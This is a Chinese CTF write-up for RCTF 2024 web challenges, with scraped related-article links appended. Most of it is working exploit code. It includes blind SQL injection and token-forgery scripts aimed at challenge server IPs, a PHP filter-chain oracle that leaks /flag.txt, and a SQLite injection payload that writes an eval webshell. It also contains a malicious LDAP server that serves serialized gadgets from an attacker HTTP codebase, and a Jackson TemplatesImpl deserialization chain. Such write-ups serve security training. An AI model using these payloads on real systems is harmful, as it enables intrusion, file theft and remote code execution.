RCTF 2024 WEB wp

前言

赛后复现,proxy发现自己真是个呆b...

what_is_love

首先拿key1,sql语句处有注入,可以盲注拿key1的值

import requests
import string
strings = string.digits + string.ascii_uppercase + "_"
url="http://1.94.13.174:10088/key1"
flag='RCTF{'
payload="1' || BINARY love_key REGEXP '{}' #"
for i in range(100000):
for j in strings:
data={
'key1':payload.format(flag+j)
}
req=requests.post(url,data=data)
if "success" in req.text:
flag=flag+j
print(flag)
break

然后key2,本地没有测试saltedSecret 的值,到很晚才解出来..,阅读源码可以知道saltedSecretsecretlove_time 拼接而成,love_time 的值我们可以控制,我们设置成字符串,经过parseInt处理会变成NaN,不管secret 是什么,跟NaN 拼接后也会是NaN,所以saltedSecret 的值就是NaN ,既然salt值可控了,加密方式是sha256,那我们就可以随意构造token了,写个全自动的脚本

import requests
import base64
import hashlib
import json url = "http://1.94.13.174:10088/key2"
data = {
"username": "lover",
"love_time": "a"
}
response = requests.post(url, data=data)
token = response.text.split("token:")[1].strip()
print(f"Obtained token: {token}") userinfo = {
"username": "lover",
"love_time": None,
"have_lovers": True
}
data_hex = base64.b64encode(json.dumps(userinfo).encode()).decode()
signature = hashlib.sha256(f'{json.dumps(userinfo)}:NaN'.encode()).hexdigest()
evil_token = f"{data_hex}.{signature}"
print(f"Constructed evil token: {evil_token}") url = "http://1.94.13.174:10088/check"
data = {
"love_token": evil_token
}
response = requests.post(url, data=data)
print(f"Response from /check: {response.text}")
#_AND_GIVE_A_10000_YEAR_COMMITMENT_FOR_LOVE}

color

Js逆向拿到密钥和iv,测试点击逻辑,可以发现pos的值由rangeNum控制,我们控制rangeNum的值不变,拿返回的json中的data值作为pos的值发送就可以刷分了

import requests

url = "http://124.71.164.28:10088/final/game.php"

r = requests.Session()
# 获取cookie
r.get(url)
# 刷分
data1 = {
'action': '3wrg4Ich1RsKFUUPmU0vlw==',
'rangeNum': 'xu9TJ5ohTpq8tlEr1Xr/dA=='
} for i in range(500):
data2 = {
'action': 's03/Zr+K7nTxLc2aiHJQcg==',
'pos': r.post(url, data1).json()['data']
}
print(r.post(url, data2).json()) # game over
data3 = {
'action': 'IMYZakV42qGIPRWdg/WfFg=='
}
print(r.post(url, data3).json()) # {'code': 200, 'data': 'CD6Xpy8frmdyBVi4AjanGQ==', 'secret': 'kaZqPAlSbO0yDwz3yeFPJm7P1y8dOPX5rrvFMr70WunhBAPw2i+jUIrc/iAO7uIpZP8rlkDtpBfBwAygY6AUhw=='}

secret解密一下,拿到源码,阅读源码,漏洞点在这

file_get_contents,我们可以打侧信道盲注

import requests
import sys
from base64 import b64decode """
THE GRAND IDEA:
We can use PHP memory limit as an error oracle. Repeatedly applying the convert.iconv.L1.UCS-4LE
filter will blow up the string length by 4x every time it is used, which will quickly cause
500 error if and only if the string is non empty. So we now have an oracle that tells us if
the string is empty. THE GRAND IDEA 2:
The dechunk filter is interesting.
https://github.com/php/php-src/blob/01b3fc03c30c6cb85038250bb5640be3a09c6a32/ext/standard/filters.c#L1724
It looks like it was implemented for something http related, but for our purposes, the interesting
behavior is that if the string contains no newlines, it will wipe the entire string if and only if
the string starts with A-Fa-f0-9, otherwise it will leave it untouched. This works perfect with our
above oracle! In fact we can verify that since the flag starts with D that the filter chain dechunk|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|[...]|convert.iconv.L1.UCS-4LE does not cause a 500 error. THE REST:
So now we can verify if the first character is in A-Fa-f0-9. The rest of the challenge is a descent
into madness trying to figure out ways to:
- somehow get other characters not at the start of the flag file to the front
- detect more precisely which character is at the front
""" def join(*x):
return '|'.join(x) def err(s):
print(s)
raise ValueError def req(s):
data = f'php://filter/{s}/resource=/flag.txt'
datas = {
'action': 'xEt6B2i+YJdcrJ/RG3Ie4Q=='
}
files = {
'image': ('web.png', data)
}
return "Allowed memory size" in requests.post(f'http://124.71.164.28:10088/final/game.php', data=datas, files=files).text """
Step 1:
The second step of our exploit only works under two conditions:
- String only contains a-zA-Z0-9
- String ends with two equals signs base64-encoding the flag file twice takes care of the first condition. We don't know the length of the flag file, so we can't be sure that it will end with two equals
signs. Repeated application of the convert.quoted-printable-encode will only consume additional
memory if the base64 ends with equals signs, so that's what we are going to use as an oracle here.
If the double-base64 does not end with two equals signs, we will add junk data to the start of the
flag with convert.iconv..CSISO2022KR until it does.
""" blow_up_enc = join(*['convert.quoted-printable-encode']*1000)
blow_up_utf32 = 'convert.iconv.L1.UCS-4LE'
blow_up_inf = join(*[blow_up_utf32]*50) header = 'convert.base64-encode|convert.base64-encode' # Start get baseline blowup
print('Calculating blowup')
baseline_blowup = 0
for n in range(100):
payload = join(*[blow_up_utf32]*n)
if req(f'{header}|{payload}'):
baseline_blowup = n
break
else:
err('something wrong') print(f'baseline blowup is {baseline_blowup}') trailer = join(*[blow_up_utf32]*(baseline_blowup-1)) assert req(f'{header}|{trailer}') == False print('detecting equals')
j = [
req(f'convert.base64-encode|convert.base64-encode|{blow_up_enc}|{trailer}'),
req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode{blow_up_enc}|{trailer}'),
req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}')
]
print(j)
if sum(j) != 2:
err('something wrong')
if j[0] == False:
header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode'
elif j[1] == False:
header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KRconvert.base64-encode'
elif j[2] == False:
header = f'convert.base64-encode|convert.base64-encode'
else:
err('something wrong')
print(f'j: {j}')
print(f'header: {header}') """
Step two:
Now we have something of the form
[a-zA-Z0-9 things]== Here the pain begins. For a long time I was trying to find something that would allow me to strip
successive characters from the start of the string to access every character. Maybe something like
that exists but I couldn't find it. However, if you play around with filter combinations you notice
there are filters that *swap* characters: convert.iconv.CSUNICODE.UCS-2BE, which I call r2, flips every pair of characters in a string:
abcdefgh -> badcfehg convert.iconv.UCS-4LE.10646-1:1993, which I call r4, reverses every chunk of four characters:
abcdefgh -> dcbahgfe This allows us to access the first four characters of the string. Can we do better? It turns out
YES, we can! Turns out that convert.iconv.CSUNICODE.CSUNICODE appends <0xff><0xfe> to the start of
the string: abcdefgh -> <0xff><0xfe>abcdefgh The idea being that if we now use the r4 gadget, we get something like:
ba<0xfe><0xff>fedc And then if we apply a convert.base64-decode|convert.base64-encode, it removes the invalid
<0xfe><0xff> to get:
bafedc And then apply the r4 again, we have swapped the f and e to the front, which were the 5th and 6th
characters of the string. There's only one problem: our r4 gadget requires that the string length
is a multiple of 4. The original base64 string will be a multiple of four by definition, so when
we apply convert.iconv.CSUNICODE.CSUNICODE it will be two more than a multiple of four, which is no
good for our r4 gadget. This is where the double equals we required in step 1 comes in! Because it
turns out, if we apply the filter
convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7 It will turn the == into:
+---AD0-3D3D+---AD0-3D3D And this is magic, because this corrects such that when we apply the
convert.iconv.CSUNICODE.CSUNICODE filter the resuting string is exactly a multiple of four! Let's recap. We have a string like:
abcdefghij== Apply the convert.quoted-printable-encode + convert.iconv.L1.utf7:
abcdefghij+---AD0-3D3D+---AD0-3D3D Apply convert.iconv.CSUNICODE.CSUNICODE:
<0xff><0xfe>abcdefghij+---AD0-3D3D+---AD0-3D3D Apply r4 gadget:
ba<0xfe><0xff>fedcjihg---+-0DAD3D3---+-0DAD3D3 Apply base64-decode | base64-encode, so the '-' and high bytes will disappear:
bafedcjihg+0DAD3D3+0DAD3Dw== Then apply r4 once more:
efabijcd0+gh3DAD0+3D3DAD==wD And here's the cute part: not only have we now accessed the 5th and 6th chars of the string, but
the string still has two equals signs in it, so we can reapply the technique as many times as we
want, to access all the characters in the string ;)
""" flip = "convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode"
r2 = "convert.iconv.CSUNICODE.UCS-2BE"
r4 = "convert.iconv.UCS-4LE.10646-1:1993" def get_nth(n):
global flip, r2, r4
o = []
chunk = n // 2
if chunk % 2 == 1: o.append(r4)
o.extend([flip, r4] * (chunk // 2))
if (n % 2 == 1) ^ (chunk % 2 == 1): o.append(r2)
return join(*o) """
Step 3:
This is the longest but actually easiest part. We can use dechunk oracle to figure out if the first
char is 0-9A-Fa-f. So it's just a matter of finding filters which translate to or from those
chars. rot13 and string lower are helpful. There are probably a million ways to do this bit but
I just bruteforced every combination of iconv filters to find these. Numbers are a bit trickier because iconv doesn't tend to touch them.
In the CTF you coud porbably just guess from there once you have the letters. But if you actually
want a full leak you can base64 encode a third time and use the first two letters of the resulting
string to figure out which number it is.
""" rot1 = 'convert.iconv.437.CP930'
be = 'convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode'
o = '' def find_letter(prefix):
if not req(f'{prefix}|dechunk|{blow_up_inf}'):
# a-f A-F 0-9
if not req(f'{prefix}|{rot1}|dechunk|{blow_up_inf}'):
# a-e
for n in range(5):
if req(f'{prefix}|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
return 'edcba'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
# A-E
for n in range(5):
if req(f'{prefix}|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
return 'EDCBA'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{blow_up_inf}'):
return '*'
elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# f
return 'f'
elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# F
return 'F'
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|dechunk|{blow_up_inf}'):
# n-s N-S
if not req(f'{prefix}|string.rot13|{rot1}|dechunk|{blow_up_inf}'):
# n-r
for n in range(5):
if req(f'{prefix}|string.rot13|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
return 'rqpon'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
# N-R
for n in range(5):
if req(f'{prefix}|string.rot13|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
return 'RQPON'[n]
break
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# s
return 's'
elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# S
return 'S'
else:
err('something wrong')
elif not req(f'{prefix}|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
# i j k
if req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'k'
elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'j'
elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'i'
else:
err('something wrong')
elif not req(f'{prefix}|string.tolower|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
# I J K
if req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'K'
elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'J'
elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'I'
else:
err('something wrong')
elif not req(f'{prefix}|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
# v w x
if req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'x'
elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'w'
elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'v'
else:
err('something wrong')
elif not req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
# V W X
if req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'X'
elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'W'
elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
return 'V'
else:
err('something wrong')
elif not req(f'{prefix}|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
# Z
return 'Z'
elif not req(f'{prefix}|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
# z
return 'z'
elif not req(f'{prefix}|string.rot13|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
# M
return 'M'
elif not req(f'{prefix}|string.rot13|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
# m
return 'm'
elif not req(f'{prefix}|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
# y
return 'y'
elif not req(f'{prefix}|string.tolower|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
# Y
return 'Y'
elif not req(f'{prefix}|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
# l
return 'l'
elif not req(f'{prefix}|string.tolower|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
# L
return 'L'
elif not req(f'{prefix}|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
# h
return 'h'
elif not req(f'{prefix}|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
# H
return 'H'
elif not req(f'{prefix}|string.rot13|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
# u
return 'u'
elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
# U
return 'U'
elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# g
return 'g'
elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# G
return 'G'
elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# t
return 't'
elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# T
return 'T'
else:
err('something wrong') print()
for i in range(100):
prefix = f'{header}|{get_nth(i)}'
letter = find_letter(prefix)
# it's a number! check base64
if letter == '*':
prefix = f'{header}|{get_nth(i)}|convert.base64-encode'
s = find_letter(prefix)
if s == 'M':
# 0 - 3
prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '0'
elif ss in 'STUVWX':
letter = '1'
elif ss in 'ijklmn':
letter = '2'
elif ss in 'yz*':
letter = '3'
else:
err(f'bad num ({ss})')
elif s == 'N':
# 4 - 7
prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '4'
elif ss in 'STUVWX':
letter = '5'
elif ss in 'ijklmn':
letter = '6'
elif ss in 'yz*':
letter = '7'
else:
err(f'bad num ({ss})')
elif s == 'O':
# 8 - 9
prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '8'
elif ss in 'STUVWX':
letter = '9'
else:
err(f'bad num ({ss})')
else:
err('wtf') print(end=letter)
o += letter
sys.stdout.flush() """
We are done!! :)
""" print()
d = b64decode(o.encode() + b'=' * 4)
# remove KR padding
d = d.replace(b'',b'')
print(b64decode(d))

删掉前面的几个无关字符,base64解码拿到flag

proxy

其实挺简单一题,就是有点抽风就想不到...,阅读源码,很明显是个sqlite注入,curl_exec 是一点用也没有的,控制$BE就可以开始注入了,但是源码中写了个rollback,也就是有一条sql语句执行没成功就回滚了,于是开始了漫长的测试,测到最后也没同时满足所有sql语句,最终解法:手动commit一次...

payload:?BE=');ATTACH DATABASE '/var/www/html/f12.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php eval($_POST[1]);phpinfo();?>'); commit;--+

读取flag.php拿到flag

OpenYourEyesToSeeTheWorld

睁眼看世界,睁眼了但没看到世界,审了半天,入口都没找到,害,阅读源码,很明显是个jndi注入,找到入口基本就秒了,一直追踪search到这

进入p_resolveIntermediate

跟进c_resolveIntermediate_nns,上下两个都一样

进入c_lookup,里面就是熟悉的lookup流程了,就不多说这个,怎么才能进到这个c_lookup呢,得满足两个条件,Head和Tail不为空就行了,这两个从searchBase 获取的,对黑名单的绕过可以使用unicode编码,searchBase 在这里进行了处理,可以控制Head和Tail的值

进入这个CompositeName,其实就是对/ 进行了分割,写入了一个impl中,具体流程请自行研究,入口找到了就可以打了,既然是spring,直接就能打jackson的templateImpl了,这里打高版本的ldap

package com.ctf;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64; import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.*;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException; public class LDAPServer2 { private static final String LDAP_BASE = "dc=example,dc=com"; public static void lanuchLDAPServer(Integer ldap_port, String http_server, Integer http_port) throws Exception {
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
ldap_port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://"+http_server+":"+http_port+"/#Exploit")));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + ldap_port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
} public static class HttpFileHandler implements HttpHandler {
public HttpFileHandler() {
} public void handle(HttpExchange httpExchange) {
try {
System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
String uri = httpExchange.getRequestURI().getPath();
InputStream inputStream = HttpFileHandler.class.getResourceAsStream(uri);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); if (inputStream == null){
System.out.println("Not Found");
httpExchange.close();
return;
}else{
while(inputStream.available() > 0) {
byteArrayOutputStream.write(inputStream.read());
} byte[] bytes = byteArrayOutputStream.toByteArray();
httpExchange.sendResponseHeaders(200, (long)bytes.length);
httpExchange.getResponseBody().write(bytes);
httpExchange.close();
}
} catch (Exception var5) {
var5.printStackTrace();
} }
}
private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) {
this.codebase = cb;
} @Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
} } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, IOException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
/** Payload1: Return Reference Factory **/
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());
/** Payload1 end **/ /** Payload2: Return Serialized Gadget **/
try {
// java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64
e.addAttribute("javaSerializedData",Base64.decode(new BufferedReader(new InputStreamReader(new FileInputStream(new File("D:\\1.txt")))).readLine()));
} catch (ParseException e1) {
e1.printStackTrace();
}
/** Payload2 end **/ result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
public static void lanuchCodebaseURLServer(String ip, int port) throws Exception {
System.out.println("Starting HTTP server");
HttpServer httpServer = HttpServer.create(new InetSocketAddress(ip, port), 0);
httpServer.createContext("/", new HttpFileHandler());
httpServer.setExecutor(null);
httpServer.start();
} public static void main(String[] args) throws Exception {
String[] args1 = new String[]{"127.0.0.1","8888", "1389"};
args = args1;
System.out.println("HttpServerAddress: "+args[0]);
System.out.println("HttpServerPort: "+args[1]);
System.out.println("LDAPServerPort: "+args[2]);
String http_server_ip = args[0];
int ldap_port = Integer.valueOf(args[2]);
int http_server_port = Integer.valueOf(args[1]); lanuchCodebaseURLServer(http_server_ip, http_server_port);
lanuchLDAPServer(ldap_port, http_server_ip, http_server_port);
}
}
package com.example.demo.controller;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64; public class Test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[][] bytes = new byte[][]{Files.readAllBytes(Paths.get("E:\\demo\\target\\classes\\com\\example\\demo\\calc.class"))};
Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", bytes);
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode pojoNode = new POJONode(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,pojoNode);
FileOutputStream fos = new FileOutputStream("D:\\1.txt");
fos.write(serial(exp).getBytes());
Base64.getDecoder().decode(serial(exp));
File f = new File("D:\\1.txt");
BufferedReader bfr = new BufferedReader(new InputStreamReader(new FileInputStream(f)));
System.out.println(bfr.readLine());
// deserial(serial(exp));
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close(); String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String; } public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}

nosandbox

官方wp还没出,说实话不知道/flag的密钥有啥用,看SAINTSEC的师傅是直接打的cc。所以这题先空着,之后补充(

RCTF 2024 WEB wp的更多相关文章

  1. ISCC的 Web——WP

    比赛已经结束了,自己做出来的题也不是很多,跟大家分享一下 第一题:比较数字大小 打开连接 在里面随意输入一个值,他会提示数字太小了 那么我们输入他允许的最大值试试 他还是提示太小了 我们知道做web‘ ...

  2. 实验吧—Web——WP之 Forms

    我们先打开解题链接: 做Web题的第一步就是查看网页源代码,当然,有些网页他不会让你点击右键,那么可以在地址栏里的地址前面加上:view-source: 当然也可以打开控制台F12 我们可以看到代码里 ...

  3. 到处抄来的SUCTF2019 web wp

    0x01 EasySQL 这是一个考察堆叠注入的题目,但是这道题因为作者的过滤不够完全所以存在非预期解 非预期解 直接构造 *,1 这样构造,最后拼接的查询语句就变成了 select *,1||fla ...

  4. RCTF 2019 web

    写在正文前 神仙题,压根不会. 听说跟着神仙的思路走一遍印象会深点,Just mo it .2333 正文 nextphp 整体思路:phpinfo得知存在preload.php文件,并与opcach ...

  5. 2021CISCN 华南赛区WEB wp

    CISCN 华南区域赛 太菜了 我躺平了 easy_seri <?php error_reporting(0); highlight_file(__FILE__); class Test{ pu ...

  6. 2019西湖论剑web wp

    发在正文前 这应该是自己在安全圈摸爬滚打两年多以来第一次正规的ctf比赛.没解出flag,没截图,只提供了一些思路. 遥想往昔,初入大学,带着对PT的向往,一个人穿行在幽暗的图书馆,翻阅啃读一本本安全 ...

  7. 实验吧—Web——WP之 FALSE

    打开链接,点击源码按钮,我们开始分析源码: 在这源码中我们能看出 如果名字等于密码就输出:你的名字不能等于密码 如果名字的哈希值等于密码的哈希值,那么就会输出flag 这就意味着我们要上传两个值,值不 ...

  8. 实验吧—Web——WP之 Guess Next Session

    打开链接,他有给出查看原码的按钮,那么我们打开看看 在这个里面,如果GET的值等于session的就会给出flag 那么我们进行抓包改包 在输入框内随意输入一个值然后抓包 将password的值删去, ...

  9. 实验吧—Web——WP之 简单的sql注入之2

    直接打开解题连接: 既然是SQL注入,那么我们就要构造注入语句了,这个就要有耐心一个一个去尝试了 输入语句 1'and 1=1 # 和 1'and/**/1=1/**/#后 对比一下,发现是过滤掉了空 ...

  10. 实验吧—Web——WP之 上传绕过

    我们先上传一个png文件,发现他说必须上传后缀名为PHP的文件才可以,那么,我们尝试一下,PHP文件 但是他又说不被允许的文件类型 在上传绕过里最有名的的就是00截断,那么我们就先要抓包 在这里我们需 ...

随机推荐

  1. JackSon反序列化通杀

    前言 Springboot一般都会自带JackSon这个依赖包,JackSon跟Fastjson有相同的功效 简单复现 package com.example.jakeson.demo; import ...

  2. 升级gradle:Could not find method jackOptions() for arguments

    前言 这是我在升级gradle发生的错误. 解决 原因是被废弃了: 删除: jackOptions { enabled true } 解释一下什么是jack: Jack 是 Java Android ...

  3. redis 面试题整理

    前言 前天面试了一家公司,平时看一本redis书的也使用redis,对里面的东西也基本了解,结果回答的时候居然回答了只是使用了(因为认为是redis是运维的东西,做的东西多,所以忘了,好吧这是借口), ...

  4. FPGA芯片结构介绍及工作原理解析

    FPGA工作原理与简介    如前所述,FPGA是在PAL.GAL.EPLD.CPLD等可编程器件的基础上进一步发展的产物.它是作为ASIC领域中的一种半定制电路而出现的,即解决了定制电路的不足,又克 ...

  5. kkfileview搭建实战

    kkfileview可以与nginx搭建的文件服务器配合实现预览工作,也可以通过自身的文件系统机制免搭建nginx文件服务器来实现预览工作. nginx 创建nginx # 创建初始容器,获得容器内部 ...

  6. 算是不常用的东西,java中的ResultSet转List

    import java.sql.ResultSet; import java.sql.ResultSetMetaData; import java.sql.SQLException; import j ...

  7. react中引入css的方式有哪几种?区别?

    一.是什么 组件式开发选择合适的css解决方案尤为重要 通常会遵循以下规则: 可以编写局部css,不会随意污染其他组件内的原生: 可以编写动态的css,可以获取当前组件的一些状态,根据状态的变化生成不 ...

  8. linux系统关闭指定端口

    linux系统关闭指定端口 关闭指定端口 firewall-cmd --zone=public --remove-port=80/tcp --permanent systemctl restart f ...

  9. 一个 Blink 小白的成长之路

    写在前面 写过blink sql的同学应该都有体会,明明写的时候就很顺滑,小手一抖,洋洋洒洒三百行代码,一气呵成.结果跑的时候,吞吐量就是上不去.导致数据延迟高,消息严重积压,被业务方疯狂吐槽.这时候 ...

  10. dubbogo 3.0:牵手 gRPC 走向云原生时代

    作者 | 李志信  于雨来源|阿里巴巴云原生公众号 自从 2011 年 Dubbo 开源之后,被大量中小公司采用,一直是国内最受欢迎的 RPC 框架.2014 年,由于阿里内部组织架构调整,Dubbo ...